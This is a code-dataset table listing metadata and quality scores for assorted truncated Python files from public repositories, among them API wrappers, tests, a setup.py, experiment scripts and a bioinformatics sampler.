hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9fb6e449fa62cd3c86a16e60d01fcdd30c301e7a | 747 | py | Python | pyopenproject/business/services/command/time_entry/find_schema.py | webu/pyopenproject | 40b2cb9fe0fa3f89bc0fe2a3be323422d9ecf966 | [
"MIT"
] | 5 | 2021-02-25T15:54:28.000Z | 2021-04-22T15:43:36.000Z | pyopenproject/business/services/command/time_entry/find_schema.py | webu/pyopenproject | 40b2cb9fe0fa3f89bc0fe2a3be323422d9ecf966 | [
"MIT"
] | 7 | 2021-03-15T16:26:23.000Z | 2022-03-16T13:45:18.000Z | pyopenproject/business/services/command/time_entry/find_schema.py | webu/pyopenproject | 40b2cb9fe0fa3f89bc0fe2a3be323422d9ecf966 | [
"MIT"
] | 6 | 2021-06-18T18:59:11.000Z | 2022-03-27T04:58:52.000Z | from pyopenproject.api_connection.exceptions.request_exception import RequestError
from pyopenproject.api_connection.requests.get_request import GetRequest
from pyopenproject.business.exception.business_error import BusinessError
from pyopenproject.business.services.command.time_entry.time_entry_command import TimeEntr... | 39.315789 | 98 | 0.771084 | 83 | 747 | 6.722892 | 0.481928 | 0.15233 | 0.071685 | 0.107527 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.156627 | 747 | 18 | 99 | 41.5 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0.056225 | 0.028112 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.357143 | 0 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
4cbc22c6d799e2812e523d82b271f4e49980e77c | 488 | py | Python | examples/experimental/pipelining.py | hhuuggoo/kitchensink | 1f81050fec7eace52e0b4e1b47851b649a4e4d33 | [
"BSD-3-Clause"
] | 2 | 2015-03-17T05:02:42.000Z | 2016-04-07T15:02:28.000Z | examples/experimental/pipelining.py | hhuuggoo/kitchensink | 1f81050fec7eace52e0b4e1b47851b649a4e4d33 | [
"BSD-3-Clause"
] | null | null | null | examples/experimental/pipelining.py | hhuuggoo/kitchensink | 1f81050fec7eace52e0b4e1b47851b649a4e4d33 | [
"BSD-3-Clause"
] | 1 | 2015-10-07T21:50:44.000Z | 2015-10-07T21:50:44.000Z | import logging
import time
import pandas as pd
import numpy as np
from kitchensink.clients.http import Client
from kitchensink.data import RemoteData
from kitchensink import settings
settings.setup_client("http://localhost:6323/")
c = Client(settings.rpc_url)
"""follow multi node instructions from README.md
"""
df =... | 24.4 | 48 | 0.782787 | 71 | 488 | 5.309859 | 0.577465 | 0.119363 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022989 | 0.108607 | 488 | 19 | 49 | 25.684211 | 0.843678 | 0 | 0 | 0 | 0 | 0 | 0.082569 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.5 | null | null | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
4cca86788d8edf09b1ebce371891d7dd5a5312f6 | 7,670 | py | Python | death/trashcan/trainerC.py | Fuchai/mayoehr | ec79d2157bedf4f4f0fc783d86523df8a758e27c | [
"MIT"
] | null | null | null | death/trashcan/trainerC.py | Fuchai/mayoehr | ec79d2157bedf4f4f0fc783d86523df8a758e27c | [
"MIT"
] | null | null | null | death/trashcan/trainerC.py | Fuchai/mayoehr | ec79d2157bedf4f4f0fc783d86523df8a758e27c | [
"MIT"
] | null | null | null | # import pandas as pd
# from archi.computer import Computer
# import torch
# import numpy
# import pdb
# from pathlib import Path
# import os
# from os.path import abspath
# from death.post.inputgen_planC import InputGen
# from torch.utils.data import DataLoader
# import torch.nn as nn
# import archi.param as param
# f... | 38.737374 | 112 | 0.608605 | 920 | 7,670 | 4.866304 | 0.284783 | 0.020103 | 0.014742 | 0.031271 | 0.21644 | 0.184722 | 0.184722 | 0.157918 | 0.133795 | 0.114139 | 0 | 0.010827 | 0.26545 | 7,670 | 197 | 113 | 38.93401 | 0.783813 | 0.938592 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0.005076 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4ccaf2a923c6aa214769dc1a6e236dcc500eab3d | 2,791 | py | Python | scripts/site2samp.py | cz-ye/MetNet | 3711ca66fc43ffe051f9772e4ec5ec90b2a584b9 | [
"MIT"
] | null | null | null | scripts/site2samp.py | cz-ye/MetNet | 3711ca66fc43ffe051f9772e4ec5ec90b2a584b9 | [
"MIT"
] | null | null | null | scripts/site2samp.py | cz-ye/MetNet | 3711ca66fc43ffe051f9772e4ec5ec90b2a584b9 | [
"MIT"
] | null | null | null | #! /usr/bin/env python
import sys, getopt
from Bio import SeqIO
from Bio.Seq import Seq
def generate_sample_seq(human_seq, mouse_seq, human_site, mouse_site, window, pos_sample, neg_sample):
i = 0
j = 0
print len(human_seq)
print len(mouse_seq)
flank = int(window)/2
for line in human_site.readlines():
tem... | 27.91 | 102 | 0.602651 | 467 | 2,791 | 3.473233 | 0.175589 | 0.098644 | 0.147965 | 0.128237 | 0.635019 | 0.59926 | 0.59926 | 0.564735 | 0.564735 | 0.540074 | 0 | 0.030488 | 0.177356 | 2,791 | 99 | 103 | 28.191919 | 0.675958 | 0.007524 | 0 | 0.457831 | 1 | 0 | 0.083454 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.036145 | null | null | 0.084337 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4cd4609dffb156d76282a078d409e43fa656e910 | 555 | py | Python | setup.py | modgahead/django-periodic-tasks | 4ffe90c18fb77dce49658b294b7b090b258119a2 | [
"MIT"
] | 2 | 2018-02-25T18:31:59.000Z | 2020-04-30T11:23:57.000Z | setup.py | modgahead/django-periodic-tasks | 4ffe90c18fb77dce49658b294b7b090b258119a2 | [
"MIT"
] | null | null | null | setup.py | modgahead/django-periodic-tasks | 4ffe90c18fb77dce49658b294b7b090b258119a2 | [
"MIT"
] | 1 | 2020-05-01T09:54:54.000Z | 2020-05-01T09:54:54.000Z | from distutils.core import setup
setup(
name='django-periodic-tasks',
version='0.0.1',
packages=[
'periodic_tasks',
'periodic_tasks.migrations',
'periodic_tasks.management',
'periodic_tasks.management.commands',
],
package_dir={'': 'src'},
url='https://github.com... | 24.130435 | 61 | 0.616216 | 61 | 555 | 5.491803 | 0.672131 | 0.271642 | 0.113433 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021028 | 0.228829 | 555 | 22 | 62 | 25.227273 | 0.761682 | 0 | 0 | 0.095238 | 0 | 0 | 0.452252 | 0.189189 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.047619 | 0 | 0.047619 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4cde658a1f9692b735ee78405c77302185b99630 | 921 | py | Python | src/backend/app_user_management/web_app_user.py | MatthewRizzo/timesheet_tracker | 4f492d7fe150430f899a7613e4d80af229db0ec9 | [
"MIT"
] | 2 | 2020-07-12T07:58:06.000Z | 2020-10-05T21:55:48.000Z | src/backend/app_user_management/web_app_user.py | MatthewRizzo/timesheet_tracker | 4f492d7fe150430f899a7613e4d80af229db0ec9 | [
"MIT"
] | 15 | 2020-07-15T19:24:42.000Z | 2022-01-20T00:55:09.000Z | src/backend/app_user_management/web_app_user.py | MatthewRizzo/timesheet_tracker | 4f492d7fe150430f899a7613e4d80af229db0ec9 | [
"MIT"
] | null | null | null | # -- External Packages -- #
from flask import Flask, redirect, flash
from flask_login import LoginManager, UserMixin
# -- Project Defined Imports -- #
from backend.backend_controller import BackendController
class WebAppUser(UserMixin):
"""Class defining what a "user" actually is.
\n:parma send_to_client_func... | 43.857143 | 120 | 0.741585 | 123 | 921 | 5.349594 | 0.495935 | 0.036474 | 0.072948 | 0.072948 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.194354 | 921 | 21 | 121 | 43.857143 | 0.886792 | 0.436482 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0.222222 | 0.333333 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
4ce2d8e61e0296c603b3e69e37f228f1e42f2d9e | 315 | py | Python | activity/tests/datetime_scoring_period_tests.py | moneypro/espn-api | 65fd0b18f2f62d20aa2ee1dd0bfd5cb3d92bdd01 | [
"MIT"
] | 4 | 2021-01-20T15:05:05.000Z | 2021-05-15T02:54:29.000Z | activity/tests/datetime_scoring_period_tests.py | moneypro/espn-api | 65fd0b18f2f62d20aa2ee1dd0bfd5cb3d92bdd01 | [
"MIT"
] | null | null | null | activity/tests/datetime_scoring_period_tests.py | moneypro/espn-api | 65fd0b18f2f62d20aa2ee1dd0bfd5cb3d92bdd01 | [
"MIT"
] | null | null | null | from datetime import date
from activity.datetime_scoring_period import DatetimeScoringPeriod
class DatetimeScoringPeriodTest:
def setup(self):
self.target = DatetimeScoringPeriod()
def test_sanity(self):
d = date(year=2021, month=10, day=24)
assert 6 == self.target.convert(d)
| 21 | 66 | 0.714286 | 37 | 315 | 6 | 0.702703 | 0.09009 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035857 | 0.203175 | 315 | 14 | 67 | 22.5 | 0.848606 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
4cef34acb18fc5c71d3f4cac0b2080ca82e206a9 | 384 | py | Python | yt_concate/pipeline/steps/postflight.py | kinslersi/yt-concate | b68a842138997c48bf605e9811cf47f0db2faaa6 | [
"MIT"
] | null | null | null | yt_concate/pipeline/steps/postflight.py | kinslersi/yt-concate | b68a842138997c48bf605e9811cf47f0db2faaa6 | [
"MIT"
] | null | null | null | yt_concate/pipeline/steps/postflight.py | kinslersi/yt-concate | b68a842138997c48bf605e9811cf47f0db2faaa6 | [
"MIT"
] | null | null | null | import os
import logging
from yt_concate.pipeline.steps.step import Step
from yt_concate.setting import VIDEOS_DIR, CAPTIONS_DIR
class Postflight(Step):
def process(self, data, inputs, utils):
logger = logging.getLogger()
logger.info("in postflight")
if inputs["cleanup"] == "True":
... | 25.6 | 55 | 0.677083 | 49 | 384 | 5.183673 | 0.591837 | 0.047244 | 0.102362 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.223958 | 384 | 14 | 56 | 27.428571 | 0.852349 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.363636 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
980c695d51dab28bcf2286d67c55fde0c3f561d3 | 260 | py | Python | TD/scripts/hooks.py | ulyssesdotcodes/vscode-ldjs | ac2c0300415f30fe3bbae41a62dc7f007c51fb83 | [
"BSD-3-Clause"
] | 13 | 2019-01-03T17:34:29.000Z | 2020-12-27T08:54:46.000Z | TD/scripts/hooks.py | ulyssesp/vscode-ldjs | ac2c0300415f30fe3bbae41a62dc7f007c51fb83 | [
"BSD-3-Clause"
] | 2 | 2021-10-05T19:55:56.000Z | 2022-02-17T19:01:08.000Z | TD/scripts/hooks.py | ulyssesp/vscode-ldjs | ac2c0300415f30fe3bbae41a62dc7f007c51fb83 | [
"BSD-3-Clause"
] | null | null | null | import time
def newJson(json):
print(op('container1/record')[0])
if op('container1/record')[0] == 1:
jsonRecord = op('json_record')
jsonRecord[0,0] = int(time.time())
jsonRecord[0,1] = json
op('json_record_out').par.write.pulse()
return
| 23.636364 | 43 | 0.646154 | 38 | 260 | 4.342105 | 0.5 | 0.145455 | 0.218182 | 0.230303 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.041475 | 0.165385 | 260 | 10 | 44 | 26 | 0.718894 | 0 | 0 | 0 | 0 | 0 | 0.230769 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0.111111 | 0 | 0.333333 | 0.111111 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
981a78f293bba56a59977a034c7c8fe0c0bad22b | 663 | py | Python | givenergy_modbus/exceptions.py | dewet22/givenergy-modbus | 75e7ab7a7a6207c1b5efc2be5745bb393d9d840d | [
"Apache-2.0"
] | 3 | 2022-02-17T12:00:42.000Z | 2022-03-24T09:32:06.000Z | givenergy_modbus/exceptions.py | dewet22/givenergy-modbus | 75e7ab7a7a6207c1b5efc2be5745bb393d9d840d | [
"Apache-2.0"
] | 5 | 2022-01-24T15:25:17.000Z | 2022-03-17T18:17:24.000Z | givenergy_modbus/exceptions.py | dewet22/givenergy-modbus | 75e7ab7a7a6207c1b5efc2be5745bb393d9d840d | [
"Apache-2.0"
] | 5 | 2022-01-24T20:59:18.000Z | 2022-03-17T18:47:54.000Z | class ExceptionBase(Exception):
"""Base exception."""
message: str
def __init__(self, message: str) -> None:
super().__init__(message)
self.message = message
class InvalidPduState(ExceptionBase):
"""Thrown during PDU self-validation."""
def __init__(self, message: str, pdu) -> N... | 24.555556 | 87 | 0.651584 | 74 | 663 | 5.513514 | 0.364865 | 0.098039 | 0.080882 | 0.132353 | 0.306373 | 0.151961 | 0 | 0 | 0 | 0 | 0 | 0 | 0.227753 | 663 | 26 | 88 | 25.5 | 0.796875 | 0.193062 | 0 | 0.142857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.214286 | false | 0 | 0 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
981c530b54b5e146141b7d1224868de41fe435cb | 2,053 | py | Python | adscores/data/fcdd_2021_table2.py | jpcbertoldo/ad-scores | b106d5844d7dc5380ee8d7ce74d60b6e59aa8717 | [
"MIT"
] | null | null | null | adscores/data/fcdd_2021_table2.py | jpcbertoldo/ad-scores | b106d5844d7dc5380ee8d7ce74d60b6e59aa8717 | [
"MIT"
] | null | null | null | adscores/data/fcdd_2021_table2.py | jpcbertoldo/ad-scores | b106d5844d7dc5380ee8d7ce74d60b6e59aa8717 | [
"MIT"
] | null | null | null | """
from liznerski_explainable_2021
Liznerski, P., Ruff, L., Vandermeulen, R.A., Franks, B.J., Kloft, M., Muller, K.R., 2021. Explainable Deep One-Class Classification, in: International Conference on Learning Representations. Presented at the International Conference on Learning Representations.
Table 3
"""
from path... | 24.73494 | 261 | 0.645397 | 289 | 2,053 | 4.435986 | 0.377163 | 0.046802 | 0.077223 | 0.051482 | 0.074883 | 0 | 0 | 0 | 0 | 0 | 0 | 0.014646 | 0.168534 | 2,053 | 82 | 262 | 25.036585 | 0.73638 | 0.198734 | 0 | 0.043478 | 0 | 0 | 0.190942 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217391 | false | 0 | 0.043478 | 0.217391 | 0.478261 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
e24ddfd08161c451b3ca37245fce6912c97295aa | 2,295 | py | Python | run/runPN4_Showcase.py | huppd/PINTimpact | 766b2ef4d2fa9e6727965e48a3fba7b752074850 | [
"MIT"
] | null | null | null | run/runPN4_Showcase.py | huppd/PINTimpact | 766b2ef4d2fa9e6727965e48a3fba7b752074850 | [
"MIT"
] | null | null | null | run/runPN4_Showcase.py | huppd/PINTimpact | 766b2ef4d2fa9e6727965e48a3fba7b752074850 | [
"MIT"
] | null | null | null | import os
import platform_paths as pp
EXE = 'peri_navier4'
os.chdir(pp.EXE_PATH)
os.system('make '+EXE+' -j4')
CASE_PATH = ['']*5
npx = 4
npy = 2
npt = 4
case_consts = ' --linSolName="GMRES" --piccard --flow=1 --domain=1 --force=1 --radius=0.1 --amp=0.1 --npx='+str(npx)+' --npy='+str(npy)+' --npt='+str(npt)+' -... | 40.263158 | 244 | 0.566449 | 389 | 2,295 | 3.167095 | 0.200514 | 0.266234 | 0.087662 | 0.125 | 0.445617 | 0.445617 | 0.445617 | 0.445617 | 0.424513 | 0.424513 | 0 | 0.063914 | 0.22963 | 2,295 | 56 | 245 | 40.982143 | 0.632919 | 0 | 0 | 0 | 0 | 0.044444 | 0.137691 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.044444 | null | null | 0.022222 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e2610355b9b43f9a383451e16f9c38775057e984 | 8,878 | py | Python | tests/integration/models/test_project_contract.py | nethad/moco-wrapper | 012f9aab6e9fa60e3ccdf7254f0366b108651899 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | tests/integration/models/test_project_contract.py | nethad/moco-wrapper | 012f9aab6e9fa60e3ccdf7254f0366b108651899 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | tests/integration/models/test_project_contract.py | nethad/moco-wrapper | 012f9aab6e9fa60e3ccdf7254f0366b108651899 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | from moco_wrapper.util.response import JsonResponse, ListingResponse, EmptyResponse
import string
import random
from datetime import date
from .. import IntegrationTest
class TestProjectContract(IntegrationTest):
def get_unit(self):
with self.recorder.use_cassette("TestProjectContract.get_unit"):
... | 35.798387 | 85 | 0.579072 | 875 | 8,878 | 5.672 | 0.084571 | 0.081805 | 0.047149 | 0.050776 | 0.774935 | 0.722345 | 0.71489 | 0.618779 | 0.55813 | 0.543824 | 0 | 0.017753 | 0.346474 | 8,878 | 248 | 86 | 35.798387 | 0.837642 | 0.01667 | 0 | 0.519802 | 0 | 0 | 0.059012 | 0.031511 | 0 | 0 | 0 | 0 | 0.227723 | 1 | 0.044554 | false | 0 | 0.024752 | 0 | 0.094059 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e26895fab97d6a8d6c9b0aadc9242bf75f68e582 | 3,369 | py | Python | ExperimentManagement/dummy_trainer.py | CKhan1/READ-PSB-AI-right-whale-photo-id-Kaggle | b6723724148029f68187bbd7ac598ea90a7542f3 | [
"MIT"
] | 2 | 2020-08-19T11:03:42.000Z | 2022-02-18T02:49:28.000Z | ExperimentManagement/dummy_trainer.py | X10Khan/whales | 313fd487dec6080bb3a518d312cd9f1e29958f16 | [
"MIT"
] | null | null | null | ExperimentManagement/dummy_trainer.py | X10Khan/whales | 313fd487dec6080bb3a518d312cd9f1e29958f16 | [
"MIT"
] | 4 | 2018-10-23T15:47:22.000Z | 2021-02-03T03:35:13.000Z | import argparse
import copy
import os
from bunch import Bunch
from mock import Mock
import sys
import re
from ml_utils import id_generator, TimeSeries, LogTimeseriesObserver
def create_mock():
return Mock()
class DummyUrlTranslator(object):
def url_to_path(self, url):
return url
def path_to_url(s... | 30.908257 | 100 | 0.655684 | 428 | 3,369 | 4.857477 | 0.301402 | 0.030303 | 0.03367 | 0.026936 | 0.204906 | 0.175084 | 0.090428 | 0.090428 | 0 | 0 | 0 | 0.00079 | 0.248442 | 3,369 | 109 | 101 | 30.908257 | 0.8203 | 0.010389 | 0 | 0.134146 | 0 | 0 | 0.036004 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.060976 | 0.097561 | null | null | 0.02439 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
e26bf8c2f915d4db3512c9b8a8e20ed0ced8fc7a | 3,535 | py | Python | app/database/tables.py | victor-iyi/heart-disease | 06540b582e8752d2bb6a32366077872d32d7c0e4 | [
"MIT"
] | 1 | 2021-06-20T09:08:26.000Z | 2021-06-20T09:08:26.000Z | app/database/tables.py | victor-iyi/heart-disease | 06540b582e8752d2bb6a32366077872d32d7c0e4 | [
"MIT"
] | null | null | null | app/database/tables.py | victor-iyi/heart-disease | 06540b582e8752d2bb6a32366077872d32d7c0e4 | [
"MIT"
] | null | null | null | # Copyright 2021 Victor I. Afolabi
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... | 29.458333 | 74 | 0.686846 | 417 | 3,535 | 5.673861 | 0.371703 | 0.087912 | 0.115385 | 0.131868 | 0.112003 | 0.081572 | 0.032122 | 0.032122 | 0 | 0 | 0 | 0.007151 | 0.208769 | 3,535 | 119 | 75 | 29.705882 | 0.838756 | 0.179066 | 0 | 0.138889 | 0 | 0 | 0.090909 | 0.016308 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069444 | false | 0.083333 | 0.055556 | 0.069444 | 0.819444 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
e2746841518d72ff1c015f3f7d541ed3f743e448 | 420 | py | Python | examples/rest-api-python/src/db/notes.py | drewfish/serverless-stack | 155353ed7daf3ba2d4daeb9096f6c7638cb404fc | [
"MIT"
